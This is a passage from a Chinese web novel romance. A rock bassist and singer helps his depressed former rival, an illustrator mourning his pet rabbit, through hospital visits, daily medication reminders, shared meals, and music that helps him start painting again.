费臻站在门外,换了一身衣服,黑色鸭舌帽,黑口罩,简单的黑色短袖和工装裤,一双长腿又白又直,但和庄明越常年蛰居家里的苍白不一样,是很健康的暖白色,庄明越没忍住多看了两眼。
费臻背着把贝斯,手里拎着一个画着简笔画面包和logo的牛皮纸袋,里面装着离庄明越家五十米面包店新鲜出炉的牛角包,还有一包牛奶。
看到庄明越开门,他目光迅速扫过庄明越的脸。脸色比昨天好了一丁点,眼圈有点肿但是不红,今天应该是还没哭过。
“给。”费臻把手里的纸袋递过去,“早饭,请你的。”
面包很香,庄明越下意识地接过,暗道一声糟糕。
他为了兔子看病方便,特地租在宠物医院旁的好地段,房租贵不说,餐饮出行成本也很高,费臻买的这家面包店,贵得吓人,巴掌大的碱水面包卖30,这一兜子怕是上百了。
再想还给这个特地为他跑来一趟的人,多少有些不识好歹。
庄明越低声说:“谢谢。”
费臻“嗯”了一声,庄明越问:“还有事吗?”
费臻边走进门边说:“您可真是贵人多忘事。”
庄明越撕了包装开吃,手上的袋子又被费臻拿了过去。
他以为费臻要和他一起吃,费臻却只是掏出牛奶,插上吸管,还给庄明越。
庄明越心情复杂地接过,又说了声谢谢,补充了一句:“不用这样,我生活能自理。”
费臻不置可否,转而很丝滑地抽开庄明越的床头柜抽屉,把处方单抽出来,折好塞进自己裤子口袋。
庄明越差点被牛角包噎死,连忙嗦了一口奶。
“你干嘛?”
“怕你忘了,或者撕了。”费臻理所当然地说,“我陪你去。”
庄明越觉得费臻做了那些小兔梦之后,在他这里完全没有了边界感:“我自己会去!”
“哦?”费臻转过身,靠在桌边,双手抱胸,好整以暇地看着他,“那你知道今天浙一几点开门,哪个医生坐班,怎么取号排队最快吗?”
庄明越被问住了。他以前都是就近去一家小诊所,就在宠物医院旁边,药也是那里配。
窝窝生病后,他所有心思和钱都花在了异宠医院,自己的药能省则省,确实很久没关注这些了。
他现在脑子混沌,根本不想思考这些琐事,只问了一句:“为什么要去浙一?”
“因为大医院更专业。”费臻抽了纸巾,擦掉书桌上的面包屑,“而且我和医生非常熟。”
“不用……”
“你跟我说说,你是怎么想的?为什么不用?”
梅开二度,庄明越又被问住了。
费臻一副“果然如此”的表情:“总之这件事交给我。放心,不会把你卖了。”
庄明越摇头:“我没那么想。”
“那就好。吃完早饭洗漱一下,换好衣服,我们半小时后出发。”
费臻下达指令,语气自然得像在指挥乐队排练。
庄明越没忍住笑了一下。
就连他自己都觉得笑点非常诡异,赶紧把剩下半包牛奶嗦完,抓起干净的外出衣物,逃进浴室。
费臻听着里面传来的水声,微微松了口气。
虽然不知道庄明越在笑什么,但总算见他笑了,说明没有生气,和昨天的情况比起来好了很多。
费臻把书桌上的垃圾收拾完,撩开了厚重的遮光窗帘。
阳光一下子涌进来,照亮了昏暗的房间。
费臻眯了眯眼,视线落在楼下热闹的街道和远处银泰商场的玻璃幕墙上。
这个地段非常贵,从性价比出发,他以前不知道庄明越为什么要住在这里,但昨天路过时见到了百米之外的宠物诊疗中心。
为了兔子看病方便,庄明越还真是不惜血本。
费臻想起梦里那些为了医药费焦头烂额、拼命接单画到凌晨的夜晚,虽然感受不真切,但那种焦虑和疲惫是共通的。
这傻子,对兔子这么好,就不能也对自己好一点吗。
一刻钟后,庄明越出来了。
他换了一件干净的亚麻色T恤,脸有些湿润,用了柠檬味的洁面皂,带着好闻的香气。
费臻看见庄明越穿的衣服,突然觉得今天他不应该穿这么一身黑出来,还是昨天那套好,很配庄明越的衣服。
在颜色和音乐方面,费臻有点强迫症。
庄明越问:“在看什么?”
“没什么。”费臻调整好背后的贝斯,跟在他身后出了门。
到了医院,费臻果然熟门熟路,带着庄明越挂号、排队、找诊室。
他提前和医生取得了联系,效率高得让庄明越省了很多不必要的麻烦,也避免庄明越和他人重复沟通。
看诊的过程对庄明越来说是一种折磨。他不得不再次面对医生关切的询问,描述自己停药后的状况,承认自己的情绪再次跌入谷底。每当这种时候,他都感觉像被剥光了站在人前,难堪又无助。
好在费臻坐在诊室外的长椅上等,庄明越不必当着他的面谈论自己的病情。
大医院确实和小诊所不一样,药品周全,医生对剂量和类别的把控也更老道,同时还叮嘱庄明越:“最近千万不能再自己断药,可以让你朋友监督你。”
庄明越点头说好,刷了医保拿好药单,开门对上费臻的视线。
费臻摊开手,庄明越很自觉地把药单交到他手里:“谢了。”
费臻眯着眼:“嗯,乖。”
他迅速地给庄明越拿完药,觉得今天是这段时间以来前所未有的最轻松的一日。
回去的路上,庄明越的脚步慢了些,低着头,不知道在想什么。
费臻以为他又想到什么心情低落,却听庄明越问他:“你背着吉他,是要去排练吗?”
“嗯?关心我?”费臻回答道,“是贝斯,刚修好。”
“怎么坏的?”
“被队友的大力金刚指按坏的。”
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费臻紧了紧贝斯盒的肩带,“我帮他取回来,乐行在你家附近。”
费臻又说起乐队近期的演出计划,庄明越不太懂,但也感兴趣,有一搭没一搭地和他聊着。
快到小区门口时,费臻忽然换了话题:“你接下来什么打算?”
庄明越愣了一下,闷声道:“什么什么打算。”
“工作。生活。”费臻说得很直接,“窝窝不在了,房租水电、药费、吃饭,还有画布颜料,这些都要钱。赵唐说你全职画插画,你之前接的插画单子,还能继续吗?”
赵唐是庄明越和费臻的大学舍友,也是过去四人寝室中唯一一个还跟庄明越保持联系的,二人关系处得不错,但也仅限于庄明越精神状态尚可时,自从他情况恶化,赵唐就像变了个人,再也没有搭理过他。
听费臻这么说,庄明越抿紧嘴唇,神情肃然。
这也是他不敢细想的问题。窝窝在的时候,他是为了它拼命画。现在动力一下子被抽空了。他已经很久没再拿起画笔,厨房里的那些颜料碟就是证据。
“不知道。”庄明越叹息,“我也想好起来,可是越想就越难受。”
费臻停下脚步,庄明越也不得不停下,回头看他。
“我知道一家挺靠谱的线上平台,编辑跟我有点交情,审稿快,结算也及时,虽然单价不是最高,但对新手和状态不稳定的人比较友好。我和她提过你,她说只要你愿意画,她特别欢迎。”费臻淡淡道,“你要是想接,我可以把联系方式推你。”
庄明越听费臻说完那个平台和编辑的名字,不由得蹙眉。
不是不好,而是太好了,那可以算是业界最有名的良心平台之一,费臻应该把这样的好资源推荐给更好的画师,而不是他。
“为什么?”庄明越轻声询问,“费臻,你到底在图什么?”
费臻迎了他的目光,又看着庄明越开开合合的淡色嘴唇,回答说:“不光是你不信那些光怪陆离的梦,我自己也觉得很莫名其妙。但既然总是做那些梦,我就不能不管。”他顿了顿,补充道,“你要是不要编辑的联系方式,我就推给别人了。”
“……推给我。”庄明越拿出了手机。
费臻几不可察地挑了下眉,有点意外他答应得这么快,但也没说什么,在手机上操作了几下,中途皱了一下眉,眉头又松开,无奈地从鼻腔里发出一声哼笑。
“发你了,加的时候备注我名字。”
庄明越的手机震动,看到一串陌生手机号码发来了另一串陌生手机号码,不疑有他,复制到微信,发送了好友申请。
费臻的目光又落在庄明越手里拎着的药袋上,“按时吃药,我会检查。”
“你怎么检查?”庄明越忍不住反问。
“当然是用脚走,用嘴问。”费臻说得理直气壮,“我每天早上七点过来监督你,如果你起不来,我十点再来一次。”
“费臻……”庄明越的脸上隐隐浮现担忧,声音不自觉拖长。
“嗯,在呢,怎么?”
“你这么有时间管我,是不是你们的乐队,”庄明越注意了措辞,“要各奔东西了?”
“没解散,想什么呢。”
说话间,已经走到了庄明越家楼下。
费臻停下脚步:“上去吧。要好好的。”
他摆了摆手,转身就走。
“费臻。”庄明越忽然叫住他。
费臻回头。
庄明越看着他那张淡漠的脸,被阳光染成金色的长发的轮廓,想起昨天他煮面,今天又跑前跑后的样子,给出了承诺:“谢谢。我会好好吃药。”
费臻愣了一下,快步走回到庄明越身边,往他手心里塞了个东西,特地叮嘱:“回到家再打开看。走了。”
庄明越站在原地,一直看着费臻的身影消失不见,才转身上楼。
正午的阳光穿透房间,比之前明亮了许多。
他走到桌边,倒出药片,温水吞服。
吃完药,庄明越想起费臻塞他手里的那团纸。
展开后,上面写着八个字。
【放我出来,保持联系。】
5. 第 5 章
庄明越连忙把费臻从微信黑名单放了出来,又把费臻的手机号新建了联系人。
他思索片刻,在联系人名那一栏写上“窝窝二号机”。
之后的几天,费臻并没有真的到庄明越的门前打卡。
他在线上解释:【抱歉,乐队最近有点忙。】
【你忙你的。】庄明越巴不得他别来。
然而费臻雷打不动,在早晚十点给庄明越发消息。
内容千篇一律,十分短小:
【早药】
【晚药】
医生让早晚各吃两片药,庄明越和费臻轮流看过处方,二人都记下了。
微信上,一个催,一个回。
有时候,如果到了晚上十点还没收到庄明越敷衍的“吃了”或者“1”,费臻就会在五分钟后补发一个问号。
庄明越第一次收到这个问号时,也扣了一个问号。
结果费臻又发了个问号,庄明越回了一个,费臻又回了一个。
子子孙孙无穷尽也。
庄明越:……
想拉黑,忍住。
庄明越愤愤地打字:【一模一样的打卡非要回复吗,谁规定的?】
费臻回得很快:【我。】
庄明越把手机往床上一扔,又扔到了墙壁夹角里。
顽固的消息提示一直在响,他狠狠闭了闭眼,把手机掏了回来。
费臻:【不喜欢这个打卡形式?】
费臻:【那换换】
费臻:【吃了扣1】
费臻:【没吃扣2】
费臻:【吃错扣3】
庄明越咬牙切齿地扣1。
隔了一晚,监督模式又变回了早药和晚药,可以想见费臻确实很忙。
庄明越记起在小诊所开药的单子。
去浙一门诊时费臻从口袋里摸给他,他给医生看完,医生说有点参考价值,但不大,还是以当下的诊断为准。
后来单子就被费臻收走,再也没有还给庄明越。
庄明越想问问费臻把他的处方单怎么处理的,转念一想,还能怎么处理,没用的东西肯定是丢了。
与此同时,费臻没忘记问还剩下多少药。
每当庄明越吃完一板,他都会拍个空药板的照片发过去,附带一个空心句号表示对费臻日夜监督的极度不满。
费臻则会回一个同样简洁的句号。
就这样过了一周,某天傍晚,费臻又提着两个超大的超市购物袋来敲门,还能和隔壁探出头的单眼皮粉丝小哥聊两句。
主要是聊庄明越的近况:出门没有,点外卖没有,有没有什么大的动静。
庄明越不愿再听这二人大幅谈论自己的日常起居,迅速开门把费臻拉了进来。
费臻看了庄明越一会,笑了起来,唇角泛起小小的梨涡:“挺好,没让自己再瘦下去。最近吃的什么?”
庄明越:“随便吃点。”
庄明越又网购了一箱飞碟炒面。不过这整一星期,他都会往里面加两个蛋和一把菜,营养已经比之前要好很多。
他还是会花很多时间在睡眠上。有精神时,他试着听听歌、看看小说,追了一个搞笑综艺,偶尔也会看看别人画的画。
费臻又问:“最近做了什么吗?”
庄明越回答:“没有什么特别的。”
庄明越视线往下,看到费臻带来的塑料袋里各种各样的绿叶蔬菜和一块冰鲜牛肉,甚至还有一个带着外包装的生铁锅,原本努力维持的淡然表情和声音都卡了壳。
“你来我这里做饭?”
“乐队排练完,附近超市打折。”费臻熟门熟路地直奔厨房,“你冰箱空着,通了电不放东西也是浪费。”
“谁说的,里面还有两包速冻饺子!”
“你吃了?”
“……没。”
“没吃就好,过期大半年了,我等会和厨余垃圾一起带下去扔了。”
费臻拆开生铁锅的包装,庄明越在旁边连连闭眼,尽量好声好气地提醒:“我这里有锅,还是不粘锅。”
“涂层都掉完了,你不怕吃了生病,我害怕。”费臻检查完内容比较丰富的冰箱,拆了块新抹布擦冰箱隔层,“一会儿和饺子一起进垃圾桶。那个砂锅挺好,留着。”
“那我还得谢谢你,不扔我的砂锅。”
“不用谢。”
庄明越在心里乱叫,但实在无法真情实感的生气,将这种淡淡的情绪归为吃了药丧失了最基本的情绪波动的能力。
说话间,费臻擦完冰箱回到洗碗池前,先给铁锅开锅,再洗那块上好的牛肉,动作利落。
庄明越见他动真格的,也不再出言阻止,怕妨碍到费臻做饭。
费臻没再听到庄明越声音,随口问:“你不反对了?”
“我反对有用吗?”
“你先尝了再说好不好吃,不好吃就倒了。”
“不会不好吃。”
费臻闻言笑道:“谢谢夸奖。”
费臻在水流下冲洗掉牛肉的血水,找了个盆泡上,又去处理剩下的菜。
摇滚乐队的主唱在死对头家厨房准备晚饭,可以,这很摇滚。
见费臻额头上淌汗,庄明越莫名心虚,去把空调温度调低。
费臻没注意到遥控器的声音,专注地处理食材,刀工熟练,神情平静,还有点享受。
见他处理得差不多了,庄明越忍不住问:“你经常做饭?”
“嗯。”费臻活动了一下肩膀,“一个人住,外面吃贵,还不干净。”
“乐队不忙?”
“还行。”费臻把切好的肉块焯水下锅,加以香料,瞥了庄明越一眼,“怎么,查岗?”
“谁
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查你岗?”庄明越抱起手臂,已经能闻到牛肉的香味,“我是在想你怎么有时间过来。”
“你在想我?”
“你这人怎么断句的?”
“不逗你了。我答应过你的。”费臻这边让砂锅炖着肉,那边颠锅颠出节奏感,把菜煸炒出香味。
庄明越不说话了。他的胃很不争气地在香气中发出了轻微的鸣叫。他尴尬地转身想离开厨房,却听见费臻在身后说:“把书桌收拾一下,快好了。”
吃人嘴短,庄明越照做。
吃饭的时候二人没什么话,但比第一次多了点诡异的温馨感。
炖牛肉十分入味,不但没有肉腥味,还带着留兰香薄荷的香气,蔬菜则是庄明越从来没有尝到过的甘甜。
明明是一样的食材,经过费臻的手就变得这么好吃。
庄明越吃得很慢,但几乎把属于自己那份都吃完,胃里被温暖美味的食物填满,精神上也是。
吃完饭,费臻照例收拾碗筷,清洗干净。随后,他走到客厅,目光落在墙角蒙着布的画架上。
“最近画了吗?”他问。
庄明越身体一僵,下意识地挡在画架前。“没有。”
费臻看着他防备的样子,没再追问。他走到窗边,看着外面渐沉的暮色。
“周编辑那边,联系了吗?”
“……加了。”庄明越声音很低,“还没说话。”
“嗯。”费臻淡淡应了一声,“不急。想画的时候再说。”
他待了一会儿,不动声色地观察了庄明越一会儿,然后转身。
“我走了,记得吃药。”
“知道了,你下次别来做饭了,麻烦,我会准时准点吃的。”
“那得看我心情,新买的锅总得多用几回。”
庄明越语塞,那倒也是。
费臻走到门口换鞋,手搭上门把时,忽然回头看了一眼庄明越,又看向了庄明越的床。
“那个垫子真的该洗了。”他指了指依然被庄明越抱着睡觉的绿色小垫子,“最近都不下雨,晒晒太阳,算是窝窝求你。”
庄明越挑高眉毛,抿紧嘴唇。
费臻补充:“没有李代桃僵的意思,我是我,窝窝是窝窝。”
庄明越忽地一笑:“说什么绕口令。”
费臻又深深看他一眼,思考着下次再拿个体重秤过来。
庄明越目送费臻空着手离开,拿起垫子闻了闻,确实不太好闻,而且窝窝的味道已经没有了。
以前窝窝在的时候,他每周都会洗晒。窝窝走后,他就一直抱着,仿佛上面残留的气息是他最后的救命稻草,洗掉了,就真的什么都没了。
他走到阳台,把垫子放进洗衣盆里,倒了点洗衣液,却迟迟没有动手搓洗,只是看着清澈的水慢慢浸润绿色的绒毛。
很罕见地,他没有哭。
6. 第 6 章
接下来的日子,类似的情形反复上演。
费臻的“顺路”没有固定规律,但总能精准地卡在庄明越冰箱即将彻底空掉,或者情绪肉眼可见地更加低落的时候。
有时带菜来做饭,有时只是带点水果零食,比较健康的那种。
忙也确实很忙,每次费臻把东西放下,和庄明越也说不了几句话,只是匆匆在屋子里转一圈,就像大型掠食动物巡回领地,确认没有任何异样,然后迅速走人。
庄明越从最初的抗拒,到后来的接受,再到最后,竟然有点习惯,而且费臻没来的日子,他如坐针毡,感觉全身都不对劲。
费臻还在微信上给庄明越发红包,金额不大,说是借了厨房灶头的燃气费。
庄明越不肯收红包:【应该是我付你食材和做饭的费用。】
费臻:【收,算我借你的,以后连利息还我。】
他都这么说了,庄明越只好收下,每一笔都记在账本里。
不知道费臻什么时候会来突击检查,庄明越不得不维持起码的整洁。因为要按时汇报吃药,他混乱的作息被迫调整。
冰箱里被新鲜食材塞满,庄明越不希望费臻花大价钱买的东西放到过期,只好尝试做各种吃的,再拍照留念,只是保存在自己的相册里,没好意思发给费臻。
某天午后,费臻有时间过来,庄明越不肯再让他做饭,自己做了一顿,让费臻一起吃。
费臻边吃边夸:“手艺能开店了。”
庄明越还是头一次听到费臻的夸奖,便尝了一口自己做的红烧大排。
咸了,汁也太稀薄,差一点就成了大排汤。
庄明越心情很复杂。
费臻和庄明越吃完午饭,帮忙收拾完离开。
阳光正好,空气里还留有一丝费臻的气息,庄明越鬼使神差地揭开了画架上的布。
画板上夹着的是他画到一半的窝窝,蜷在它最喜欢的小垫子上睡下午觉。
只打了底稿,铺了点大色块。
庄明越拿起笔,又放下。手指有些颤抖。尝试了几次,都无法落笔。
他不记得了,不记得那时候是什么日子,夏天还是冬天,窝窝接回家多久,胖瘦如何,是否健康,甚至不太记得清小兔的样子。
明明才这么点日子。
他明明感觉自己已经可以了,休息够了,能画了。
昙花一现的好状态,甚至没能画上一笔。
他烦躁地把笔一扔,坐在画架前的地板上,抱着头。
药物疗效这一次没能打败他的痛苦。
不知过了多久,手机震动。是费臻。
【在?】
远远不到晚上吃药的时间,庄明越盯着看了几秒,忽然生出一种破罐破摔的冲动。他拿起手机,对着画布和扔在地上的笔,拍了一张照片过去。
几秒钟后,费臻回复了:【在画窝窝?】
庄明越:【过去画的,没法上色。】
费臻:【聊聊。】
庄明越还没拒绝,费臻发来语音通话。
庄明越感谢费臻发的不是视频通话,他现在的状态糟糕到引人发笑,不想让费臻看见。
费臻感受到他的情绪,询问:“不想说话吗,那我唱歌给你听?”
庄明越低低应了一声。
费臻随手拿起一把吉他,拨动和弦,弹唱起一首歌。
熟悉的旋律,虽然是摇滚音乐但不聒噪,充满了向上的力量,是对门的文艺青年常在白天放的歌。
楼道和大门隔音不好,庄明越在画画时听久了,都能当背景音乐,有时还能哼唱两句。
庄明越从来没好奇过这首歌叫什么。
现在得到了确定的歌词,上网一搜,竟然是费臻他们乐队写的歌,叫“夏日拯救”。
庄明越再去听歌软件上搜了一下,正想点亮红心收藏,看到了右下角的点赞和评论数量。
庄明越:……
庄明越:?
八百万点赞?
八百万点赞!
啊?!
他是谁他在哪里费臻又是何方神圣?
再往简介里一划拉,就看到视角解构这支乐队被称赞为新生代年轻人最喜爱的摇滚乐队之一。
庄明越想过费臻可能有点小厉害,没想到这么厉害。
他还觉得费臻徒有其表,说费臻是闲着没事干,问费臻乐队是不是要黄了。
费臻没被气走算他脾气好。
手抖点了播放键,前奏的电音响起一秒,庄明越心头一跳,连忙把页面关了。
费臻正唱到副歌。
原曲的这里会先进来一段鼓点,过了几个小节后,吉他又渐入,层层递进,让情绪激发起来,也让整首歌变得更燃。
但此刻费臻只是弹着简单的吉他旋律,换了一种更安静
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的唱法,庄明越听到了心底里,费臻在用音乐迁就——
不,这个词并不很好,应该说是用音乐呼应他的心情。
他懂他的不安和难过,他愿意靠近他。
即使他们之中的一人写出那么受欢迎的歌曲,即使另一人身处低谷又带着一身硬刺。
庄明越垂着头,看着语音通话时费臻的头像。
一只非常摇滚的简笔画兔子,戴着酷酷的金属耳环,怀里抱着样子夸张的黑色电吉他。
庄明越深呼吸一口气,忍着没有跟唱,在费臻的歌声中爬起来,捡回了画笔,重新挤了颜料。
费臻那边听到了声音,歌声中泛起些微的笑音,又拨弄起吉他弦,哼唱起来。
庄明越不记得画底稿那天的天气和光线的明暗,但他记得窝窝睡了很熟的长长的一觉。
他照着此刻的阳光,想象窝窝趴着安静午睡的样子,开始上色。
笔尖落在画布上的一刹那,他的精神找到了一个压抑已久的宣泄的出口。
他终于又开始真正意义上的创作。
顺着感觉,慢慢涂抹。
什么也不想。
画得好不好,卖不卖座,他人褒贬。
只是画,一直画。
沉入心流。
费臻把自己那首主打歌唱了十遍,听庄明越说画画进行得很顺利,才满意地挂了通话。
庄明越把播放软件上的《夏日拯救》开着当背景音乐,一边收拾东西,没有再拍给费臻看。
到了晚上,当费臻照例发来“晚药”时,庄明越在回复完吃了之后,鬼使神差地加了一句:【画完了。】
费臻好像在忙,过了一会儿才回:【恭喜,不错的开始。】
又过了一会儿,发来一条:【窝窝爱你。】
庄明越拿起手机,看着这句话,鼻子猛地一酸。
他慢慢地走到阳台。
夜色渐深,窗外灯火璀璨。
庄明越抬起头,寻找星星,却只看到被灯光映红的天空。
窝窝,你真的通过这种方式,还在陪着我吗?
你会是费臻吗?
早已登陆蹦星的窝窝无法回答。
但因为今天费臻线上的陪伴和歌声,让庄明越越发觉得,费臻性格中的底色是温柔。
就在这时,手机又震了一下。
费臻发来一张不同寻常的图片。
7. 第 7 章
庄明越点开,是一张手写的曲谱照片。
上面画满了狂放的音符和修改痕迹。
费臻:【新歌,给点锐评。】
庄明越看着那密密麻麻的音符,一头雾水。
他不懂作曲,只能勉强看懂一半的五线谱,剩下一半好像是吉他谱。
费臻的音符画得像苍蝇,笔迹和平时好看的字迹完全风马牛不相及。
庄明越回了一个:【你的笔迹?】
费臻:【嗯,很难认?】
庄明越:【倒不是这个意思,你的字退步很多。】
费臻:【不说这个,帮我看看。】
庄明越:【看不懂,苍蝇进行曲吗?】
【庄明越撤回了一条消息】
费臻:【啧,我看到了。】
费臻:【问题不大,我唱给你听。】
庄明越:?
怎么又是这句。
费臻唱上瘾了?
庄明越觉得自己大抵是和费臻呆在一起久了,自信心膨胀,在费臻的语音条配合下,开始很认真地看那张曲谱照片。
费臻一边解释草稿上的专业符号,一边把整首歌分成几个部分唱出来。
歌曲没词,费臻用哒哒哒代替,又解释得深入浅出,外行人也能听懂,庄明越就像经历了一场高质量编曲入门教学,把那几段哒哒翻来覆去地听,竟然也能弄懂哪段是哪段。
庄明越:【副歌是不是第八条语音?】
费臻:【Bingo.】
庄明越:【副歌前面两句感觉衔接不好,情感太弱,导致副歌一起来就很突兀。】
费臻:【。】
庄明越不知道这个句号什么意思,但心里总是对自己吐槽的那句“苍蝇进行曲”有点后悔,连忙补充:【只是我个人的理解,歌很好听,别在意我这个门外汉说的,你们的歌这么流行,你完全没必要来问我。】
这次,费臻很久没有回复。
就在庄明越以为他不会再理自己,或者觉得自己的点评很可笑时,费臻的消息来了。
【不会,很有参考价值,谢了。】
庄明越:【不客气。】
他等了又等,很少见地没有等到费臻再发消息。
平时不管在线上说些什么,当然主要是说吃没吃药,药的副作用如何这类问题,总之费臻总是习惯在庄明越发消息后再发一句。
庄明越也已经习惯了费臻和他聊天的节奏,等了十分钟,觉得自己对费臻的等待简直是莫名其妙,就算和人谈恋爱也没必要一直等着。
他转而找别的事做。
几小时前,庄明越只是搜索了一下《夏日拯救》,粗略地瞥了一眼乐队的专辑和单曲数据,就被吓退,但没有详细了解过费臻和他的乐队。
叫什么来着,视觉结构?好像不是这么医学的词汇,介于摇滚和文艺之间。
生锈的大脑努力运转,庄明越的指尖在键盘上敲下“视角解构”四个字。
搜索引擎跳出不少结果,有早期的地下演出信息,有一些乐迷的零碎讨论。
还有乐队自己运营的社交媒体账号,不过更新不频繁,上一条还是在两个月前,似乎是主唱遇到了什么问题停更了,再加上吉他手离队,账号的更新还没恢复。
庄明越点进一个看起来比较全的资料站,是位记者出身的站姐做的,每个板块都非常严谨专业。
乐队成员一栏清晰地列着:
主唱/吉他手:罗谢(费臻)
贝斯手:过儿(郭扬)
鼓手:阿太(冯泰)
庄明越的目光在“罗谢”这个名字上停留了几秒。
罗谢……原来费臻在乐队里用的是这个名字。
庄明越在刚才的搜索里发现了出入,原来应该还有一排字,吉他手在资料里是单独一栏,姓孙,现在整个位置都被“罗谢(费臻)”取代了。
费臻现在一个人顶了半边天,不仅是主唱,还兼了吉他,十分全能,符合庄明越对他的技能树点满印象。
庄明越退出资料页,又出于好奇,在搜索框里输入“视角解构乐队罗谢名字由来”。
跳出的解释很简洁:“罗谢,常见音译自法语词 Rocher,意为‘岩石’。”
庄明越念了一遍这个词。发音还挺好听,但是“石头”这个词并不太符合费臻的人设,庄明越觉得费臻更像高调又我行我素的大魔王,在大部分时间可恶得很,不顾他人死活。
往下一看,就见到了Ferrero Rocher这两个词。
费列罗巧克力?
一个几乎被遗忘的片段猛地撞进脑海——
是很久以前,还在学校的时候,听同学提起过一句:“哎,你们知道吗?费臻的小名叫费列罗!上次我撞见他和他老妈逛街,他妈这么叫他的,是不是很好笑?”
当时庄明越和费臻关系极差,听到这种八卦只觉得无聊,甚至嗤之以鼻,以为又是谁编出来取笑费臻的。
费列罗?那个金闪闪甜腻腻的巧克力球?跟费臻那张超绝BKing脸哪有半点关系?
可现在,看着屏幕上“Rocher”这个词,庄明越猛地将两者联系了起来。
原来不是玩笑,是真的。那个同学似乎还暗恋费臻,没必要编这些。
费臻=罗谢=费列罗=榛子巧克力。
庄明越一个没忍住,直接对着电脑屏幕笑出了声,憋不住的气音逐渐变成畅快的爆笑。
他越想越觉得好笑,肩膀都跟着抖动起来,笑得眼泪都涌了出来。
好不容易才止住,擦了擦眼角。
庄明越关掉网页,心情莫名地轻松愉快起来。
很久没有这样笑过了,重压他心头的巨石变成了巧克力球。
庄明越打了个哈欠,把手机放下,早早睡了。
还是没梦到窝窝,并且因为重新开始吃一种新药的缘故,适应期总是隔两三个小时就醒一次。
但庄明越梦到了费臻和他的吉他,费臻在他梦里唱着新歌,副歌前的几句已经改了旋律,整首歌也配上了歌词,梦里这首歌也得了千万的红心点赞,冲到热歌榜前排,还有庄明越给出的评论,在热评第一条。
梦里的庄明越评论:【。】
庄明越醒来之后想要立即联系费臻,发给他一些梦里的歌词和旋律的灵感,但他懊恼地发现,那些全部没印象了,只有这个句号鲜明地留在脑海里,完全没用。
城市的另一头的出租屋里,费臻起了个大早,或者说根本没怎么睡。
坐在堆满乐器和杂物的房间地上,费臻反复看庄明越那句点评,又翻着涂改得乱七八糟的那堆曲谱。
副歌也小改了一下,但主要是前面的四句。
16个小节,和庄明越聊完后,他翻来覆去地琢磨了一晚,改了又改。
这首歌本来是要作为音乐节的福利,送给粉丝们的加演曲目,本不在计划之中,就像先前队里的吉他手的离开一样,是突然发生的。
激情写歌的代价是等大脑退却热度后,费臻总觉得哪哪都不对。
再加上前吉他手担当的大孙时常对他写的歌极尽抱怨和诋毁,二人摩擦不断,费臻有很多次想把乐谱草稿一撕了之,再把那家伙的吉他砸了。
但费臻终究没有那么做,他衷心祝愿大孙在新领域得偿所愿,而自己沉下心来,专注写歌。
既然庄明越说好听,还认同了里面的大部分,给出了虽然是门外汉但对于他来说非常有用的建议,那么他愿意再改改。
毕竟这首歌也是重新见到庄明越之后,灵感爆棚写出来的,他不愿敷衍了事,力求每个音符都完美。
费臻拿起吉他,试着弹奏修改后的段落,第五版。之前那种不连贯的感觉真的减轻了一些,旋律变得流畅了
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不少。
费臻录了一版吉他伴奏的新歌,放下吉他,揉了揉眉心。
总算有点样子了。
他迅速点开了乐队三人小群。
费臻把音频文件和谱子照片拖了进去,附言简单:【改了一版,听听。】
消息刚发出去没多久,手机就震动起来。
过儿:【有点意思,我之前就说哪里不对,臻哥必得高人指点!】
阿太:【就你弹你那贝斯的乐感,听不出哪里不对也是正常。中间进贝斯的地方,我觉得可以再压一点,跟鼓的节奏错开半个拍,层次感会更好。不过整体比上一版好很多。】
过儿:【停停停,谁让你指点贝斯了?我再菜也比你那乱敲一通、毫无 groove 的鼓点好多了!】
阿太:【你在质疑本太鼓达人全国第一的专业水准?】
过儿:【你还好意思提游戏排位,菜就多练,要不是你大孙也不会退出!】
阿太:【你放屁,他退出是因为你菜!】
过儿:【你最菜!】
阿太:【没人比你菜!】
Rocher:【别吵架,再说说还能怎么改。】
群里短暂地安静了一下,然后开始就着新版本,你一言我一语地讨论起具体的细节来。
虽然依旧夹杂着互相拆台,但至少焦点回到了音乐本身。
过了两个小时,费臻看着屏幕上还在持续滚动的对话,又看了一眼窗外高悬的太阳,切出了群聊,点开那个沉寂了一夜的聊天框,手指在屏幕上方停顿了片刻。
上午十点的闹钟响起,费臻敲下两个字,点击发送。
费臻:【早药】
几秒后,响亮的手机提示音响起。
庄明越:【吃了。】
另一头,乐队三人小群里,冯泰率先悟到了什么。
阿太:【卧槽卧槽我想到了!我说怎么才一晚你就抓到点子上了!你昨天晚上说要给人发照片,原来不是你的高清腹肌照,是乐谱?@Rocher】
Rocher:【我为什么会给一个男人发腹肌照?】
阿太:【那我就不知道了。】
过儿:【我知道我知道,显摆咯,挑衅咯,那不是处处压你一头的万年第一吗?】
Rocher:【……我有病?】
阿太:【没准真有,三天两头往人家家里跑,也不告诉我们为什么,我老婆逛服装店都没你频繁好吧?不知道的以为你看上人家了,还让他填词,临时加演,谁不知道你罗谢懒癌晚期,大孙要是知道你对一个不怎么听摇滚的人这么走心,肯定得哭晕在录音棚。】
过儿:【你索性把人拉进来弹吉他好了,反正我们正好缺人。】
阿太:【对的,三天速成,五天登台,还能炒炒cp。】
Rocher:【你们两个还是小学鸡吵架比较好。】
过儿:【我们不要~我们要吃瓜~】
阿太:【我们是瓜田里的猹!】
费臻一个头两个大,在设置里点击了不提示群消息。
叮咚一声,又一条来自庄明越的消息跳出来。
庄明越:【新歌改好了?】
费臻看着那行字,嘴角微微地向上弯了一下。
费臻:【快了,还在磨最后一点,大方向定了。】
他顿了顿,补充了一句:【谢了,庄老师。】
庄明越:【。】
费臻笃定,这是庄明越感到不好意思的句号。
费臻刚要切回群聊,庄明越又发来一句:【我加周编辑了,她和我说了。】
费臻:【说什么了?】
庄明越:【她说,你说我坏话!】
费臻:【嗯?】
庄明越:【费臻你这个坏东西!】
庄明越:【[菜刀][菜刀][菜刀]】
费臻:【?】
8. 第 8 章
今天一早,庄明越联系了周编辑。
编辑叫周一,一个让人残念的像被工作日诅咒了的名字,但她本人非常热情,虽然从事出版插画编辑十余年,但依旧保留了对行业的热忱。
她衷心欢迎每个好画师,希望他们能发光发热。
她和庄明越确定了具体的合作内容、交稿方式以及改稿过程的注意事项。
周一很满意庄明越发给她的窝窝的油画,没有再进行试稿。
庄明越接下一单兔子小书的插画,不多,只有八页内容,而且原作者要求的形象正是窝窝那样的白色垂耳兔。
合作非常顺利,超出庄明越预想,那些过去遇到时常恶劣甲方的刁难情况都没有发生,只是周一和别的编辑一样,喜欢直接打电话沟通。
庄明越电话恐惧,但努力克服。
